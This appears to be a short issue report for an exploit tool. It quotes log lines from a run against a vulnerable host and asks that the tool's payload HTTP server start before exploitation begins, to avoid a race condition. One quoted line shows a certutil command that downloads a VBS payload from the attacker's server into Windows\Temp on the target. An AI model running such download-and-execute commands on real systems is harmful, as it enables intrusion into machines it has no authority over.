To prevent things like this:
time=2025-07-17T12:58:40.855-06:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=192.168.23.48 port=443 vulnerable=yes
time=2025-07-17T12:58:40.855-06:00 level=STATUS msg="Running command/args: 'cmd' - '/c certutil.exe -urlcache -split -f http://192.168.51.15:8080/bRXLtEr %systemdrive%\\Windows\\Temp\\XmGbD.vbs'"
time=2025-07-17T12:58:40.855-06:00 level=STATUS msg="Retrieving user information, this may take a moment..."
time=2025-07-17T12:58:40.855-06:00 level=STATUS msg="Starting an HTTP server on 192.168.51.15:8080"
"Starting an HTTP server on...." should happen before anything exploit related begins. For output clarity AND to prevent possible race conditions.